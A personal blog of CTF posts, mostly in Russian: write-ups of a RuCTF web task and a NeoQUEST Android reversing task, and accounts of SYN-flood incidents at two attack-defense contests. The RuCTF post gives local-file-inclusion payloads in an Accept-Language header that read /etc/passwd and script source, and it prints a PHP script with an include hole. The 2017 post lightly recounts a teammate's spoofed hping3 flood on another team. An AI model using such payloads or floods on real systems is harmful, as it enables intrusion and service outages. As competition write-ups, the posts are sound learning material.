May 14, 2017

RCC-2017 дисквал writeup (дополнительная задача)

Как-то раз приехали мы на RCC 2017, а он нам как раз, и получили дисквалификацию. В результате каминг-аута (правда, немного запоздалого) крыса-куна, который это провернул, нам удалось выяснить подробности этой операции.

Прежде всего, отметим что на CTF было 4 сервиса, ни один из которых не работал по HTTP, а первый из коробки не работал вообще. Один из сервисов был нативным, и именно на нем мы и сконцентрируемся в данном рассказе.

Сами мы ни одной уязвимости не нашли (кроме сервиса, который никто не раскурил, где удалось найти уязвимость с математикой, но у меня с ней в итоге были problemes), но зато спёрли обе найденные другими командами.

Типичный эксплойт, в котором мы уж точно понимаем, что и как работает
Лично я обычно угорал по безобидным форк-бомбам и всему такому, однако эксплойт достаточно быстро стал общественным достоянием нашей команды и стал использоваться для самых различных целей.

Что характерно, уже к этому моменту сеть чувствовала себя не очень здоровой, а интернет выглядел так, как будто его раздают через один йотовский модем, который взяли погонять на триальный период.

Через некоторое время, впрочем, сеть легла насовсем, и никто из организаторов не мог сказать нам, что произошло. После того как мы пришли разбираться, в чём дело, нам еще и положили все сервисы на несколько раундов.

Как позже оказалось, данное поведение сети (вроде бы) было вызвано поведением некоего неизвестного из нашей команды, который запустил от имени других команд флуд-атаку на команду-автора этого RCE эксплойта (что весьма иронично). По проверенной информации от крыса-куна, он в общем-то даже не понял, что это как-то связано с его деятельностью, так как непосредственно после запуска hping сеть еще поднималась, а потом, уже только минут через 10, легла без всяких дополнительных запусков hping.

Немного модифицированный эксплойт — SYN-флуд, ставший стандартом де-факто в Attack-Defense
Для запуска флудилки из docker-контейнера было необходимо также решить некоторые проблемы, например, отсутствие DNS-сервера и переменной PATH в заспавненном шелле. А также для удобства установки был выбран именно инструмент из репозиториев, hping3.

Что интересно, сами мы данную бинарную уязвимость не патчили иначе чем фаерволлом, несмотря на ее потенциальную опасность.

Твоё лицо, когда на фаерволле включен мат-фильтр
А также при помощи килляния подозрительных bash-сессий, удаления bash, sh и, собственно, rm.

(на самом деле нет)
Тем не менее, несмотря на все усилия, образ у нас был стерт порядка 6 раз, интересно, что по этому поводу думает пункт правил о запрете "проводить деструктивные атаки на серверы команд-соперниц (например, rm –rf /)". Хотя, какие уж там правила, на сайте RCC их, естественно, и вовсе не было.
Важно также отметить, что во время проведения флуда никто из организаторов предпочитал к нам не подходить (или к кому-либо), хотя на других соревнованиях в случае генерации больших объемов трафика команде сперва выносится предупреждение.

По итогам, учитывая все обстоятельства, дисквалификация, хотя и является разумной по правилам (ну, тем самым, о которых вообще не было объявлено), выглядит более как попытка оправдать проблемы с сетью, возникшие задолго до инцидента.
Впрочем, надо сказать, попытка более чем успешная.

November 11, 2016

Почему региональный классический CTF уже мертв.

“Автосервис. Клиент смотрит счет и спрашивает у мастера:
- А что за пункт "Прокатило" - 10000 руб???
Мастер:
- Не прокатило? Вычеркиваем…”

Месяц с лишним назад мы поучаствовали в очередном SibirCTF: на этот раз мы решили выставить две команды от университета, благо правила это позволяли, взяв с собой множество новичков. К сожалению, мы не смогли посетить конференцию, проходившую в первый день, в том числе и услышать доклад Андрея Гейна под интригующим названием “Почему классический CTF должен умереть”. Впрочем, как говорится, порой лучше один раз увидеть, чем тысячу раз услышать... нам же довелось еще и поучаствовать.

В начале соревнований все шло относительно неплохо, настолько, насколько все могло быть неплохо в условиях разделения старого состава команды пополам и дополнения новичками. Конечно, соревнования сочетали контест сетевых администраторов-сумасшедших (благодаря оригинальному использованию и без того мерзкого Docker) и Backdoor CTF (большинство уязвимостей были рода if username==vasya then setuid(0)), что после почти безупречных финалов VolgaCTF здорово ударило по нашему рвению к победе, но, тем не менее, до конца соревнований нам удавалось держаться на втором месте.

До тех пор, пока за 10 минут до конца мы не обнаружили свою виртуальную машину зависшей наглухо. Все время соревнований мы сохраняли дампы сетевого трафика, и один раз у нас успело кончиться место. Мы решили, что в этот раз случилось то же самое и удалили их. Но, что характерно, это не помогло, а CPU#0 начинал быть stuck for %d s. По счастливой случайности, администратор нашей команды догадался сделать netstat и увидел целую стену SYN соединений. Что странно, не все они были от роутера, часть из них была из подсети некоей команды #3. Как оказалось, это была небезызвестная команда Life, находившаяся на 3 месте… на тот момент. Мы немедленно позвали администраторов, однако они просто посмотрели на это, развернулись и ушли. К тому времени мы уже опустились на 3 место.

Типичный трафик на SibirCTF


После конца соревнований, мы, конечно, стали добиваться апелляции и дисквалификации команды-нарушителя, и во время разбора полетов узнали интересные вещи:
  • Прежде всего, мы видели оригинальные IP потому что роутер не успевал их маскировать из-за большой нагрузки. Но это не атака на инфраструктуру, потому что, “А если я вам поставлю очень тормозные роутеры, что, всех будем дисквалифицировать?”. Доведение до абсурда это, конечно, хлеб демагога, но в этот раз он оказался сладким.
  • 250 висящих коннектов это ничего страшного. Даже если по ним не идут данные. Вдруг они только в эту секунду 250, а раньше и потом их по нулям было.
  • Атака по сервису, который никто не сумел раскопать это ок…
  • ...даже если “атакующая” команда еще и вдобавок отказывается предоставить атакующие скрипты…
  • ...как и просто информацию об используемой уязвимости.
  • Никакого логгирования трафика не идет от слова совсем. На RuCTF логгирование давно уже стало стандартной практикой.
  • И самая мякотка “Ну, мы еще подумаем, что делать с вашими командами, кто что нарушил.”. Ну да, действительно, нас закидали SYN-флудом, а потом еще и дисквалифицируют.

После этого нам пообещали разобраться и сообщить решение в течение пары дней. Тем вечером, по приезду в Новосибирск, нам удалось восстановить с диска виртуальной машины удаленные дампы трафика (во избежание фальсификаций данных нами, мы скопировали файлы виртуальной машины организаторам еще в Томске). Что характерно, этот файл было легко отличить от остальных по чертовски большому объему: Wireshark тоже иногда падал при обработке. Естественно, там SYN-флуд можно было разглядеть во всей красе и подробностях. Мы немедленно отправили дамп и инструкции по его получению организаторам.

Однако, видимо время в этом городе идет иначе чем у нас, поэтому ответ нам удалось получить только через месяц.
Решение было таковым: скорборд откатывается на 10 минут назад, и один участник команды Life дисквалифицирован.
Может показаться, что все в порядке, но есть пара нюансов:
  • Прежде всего, доказательства нам буквально удалось собрать только чудом.
    Заглючивший роутер, показавший IP, ведение нами дампов, удачное восстановление удаленных данных с диска. Если не было бы хоть чего-то из этого, нас скорее всего послушали бы столь же долго, как когда мы показывали netstat во время атаки.
  • Команда Life вообще не заморачивалась содействием следствию: каждый из тех, кого спрашивали об инциденте “говорил за себя” что это не он, а про остальных он ничего не знает. Сложно поверить что у команды на 3 месте была такая “слаженная” игра, что никто ничего друг о друге не знает.
  • Положение предусматривает единственную меру наказания: дисквалификацию команды. Если учесть, что команда успела провести DoS атаку, завалить сетевую инфраструктуру и вдобавок изменить этим скорборд, такое решение выглядит по меньшей мере странным.

Подводя черту, можно сделать вывод: если на региональном классическом CTF вашу команду заддосят, максимум что получит команда-нарушитель, даже если вы найдете все доказательства, это возврат всего как было и дисквалификацию одного участника, который милостиво возьмет на себя вину.

Но скорее всего вы их не найдете.
И организаторы - последние, кто будет вам с этим помогать.

March 27, 2016

VolgaCTF 2016 Quals — YACST2 (PPC 350)

VolgaCTF 2016 Quals — Amazing (PPC 250)

March 27, 2015

NeoQUEST 2015: как решить raSSLedovanie за 13 минут

Итак, в задании дан APK файл.
В первую очередь я достал classes.dex, применил к нему dex2jar а затем JD-GUI, но поскольку ничего такого очень интересного я там не нашел, я забросил эту идею и пошел смотреть native библиотеки. Внимание привлекает библиотека libndkNative.so, по размеру и названию она выглядит так как будто эта библиотека самописная.
Откроем эту библиотеку IDA лицензионным конечно же.
Известно что все импортируемые при помощи JNI имена функций начинаются с Java_
Читая функцию (и не особо вдаваясь в детали. в самом деле, за 13 минут это даже прочитать-то полностью не получилось бы) замечаем очень подозрительный вызов функции system (или j_j_system). Подозрителен он тем, что в нормальных программах на Android он практически не встречается (и было бы определенно интересно посмотреть а что такое там вообще запускают).
Конечно же это не касается моих программ, например C4droid которым мы и воспользуемся для решения данной задачи.
В составе GCC плагина для C4droid присутствует отладчик gdb, которым можно очень удобно повесить breakpoint на функцию system а затем глянуть что там запускают.
При помощи команды ps определяем PID процесса, а затем прицепляемся к нему при помощи
/data/data/com.n0n3m4.droidc/files/gcc/debugger/gdb /system/bin/app_process PID
Затем ставим breakpoint при помощи
break system
Продолжаем выполнение программы при помощи
c
Жмем Send Request и попадаем на breakpoint.
Затем в регистрах можно увидеть запускаемые команды, интересный параметр хранится в r4
x/s $r4
0x5f401b38:     "/data/data/com.ifree.ndkNative/lib/libcurl.so -k -A \"Android User-Agent\" -H \"Accept-Language: sr\" -d \"765=69d7d41f1bc07bb4d101289acb3b048c\" https://db765.ru/138aa49508a4a55dc3d5f274268ac90e.php"
Убирая лишние слеши и заменяя libcurl.so на curl получим
curl -k -A "Android User-Agent" -H "Accept-Language: sr" -d "765=69d7d41f1bc07bb4d101289acb3b048c" https://db765.ru/138aa49508a4a55dc3d5f274268ac90e.php
Замечаем что это base64 от ZIP файла (при помощи curl -k -A "Android User-Agent" -H "Accept-Language: sr" -d "765=69d7d41f1bc07bb4d101289acb3b048c" https://db765.ru/138aa49508a4a55dc3d5f274268ac90e.php | base64 -d | file -)
Декодируем и распаковываем его и получаем код (в файле code.png):
SSLK3YDB765

March 19, 2014

RuCTF: Misc 100

We've got a picture of a paper torn into pieces with shredder. The pieces are mixed up, but you can see that they were a screenshot of gmail with an opened message:


The only thing you have to do is to cut the pieces in your favorite image editor and place them in the right order. When you do, it would be easy to read the answer: RUCTF_TO_SHED_IS_NOT_ENOUGH.

RuCTF: Web 100 (php)

The page shows some text from wikipedia (or from somewhere else, I don't care), the interesting thing is that it shows "Language was detect automatically :)" in the end of the text.
It seems like a hint, so let's try to use Accept-Language header.
First of all, set Accept-language to ru/en, the page will change according to the language selected.
So, let's test it for LFI with Accept-language: /etc/passwd, it will show the contents of /etc/passwd!
But there is nothing interesting in /etc/passwd, so let's get the source of the script itself with Accept-language: php://filter/convert.base64-encode/resource=index.php
After decoding base64 we can get the source of script:
<!doctype html>
<html>
<head>
  <style type="text/css">
    pre { width: 640px; white-space: normal; text-align: justify;};
  </style>
</head>
<body>
<center>
<h2>CTF</h2>
<?php
  header('Content-Type: text/html; charset=utf-8');
  $flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14';
  $ok   = 0;
  foreach(explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $s) {
    $l = explode(';', $s)[0];
    if (include $l) {
      $ok = 1;
      break;
    }
  }
  if (!$ok) {
    include 'en';
    echo 'Language was not detect automatically :(';
  } else {
    echo 'Language was detect automatically :)';
  }
?>
<center>
</body>
</html> 
The flag is 5cf27d9bad2fe9d96d2bcf25c3b0bd14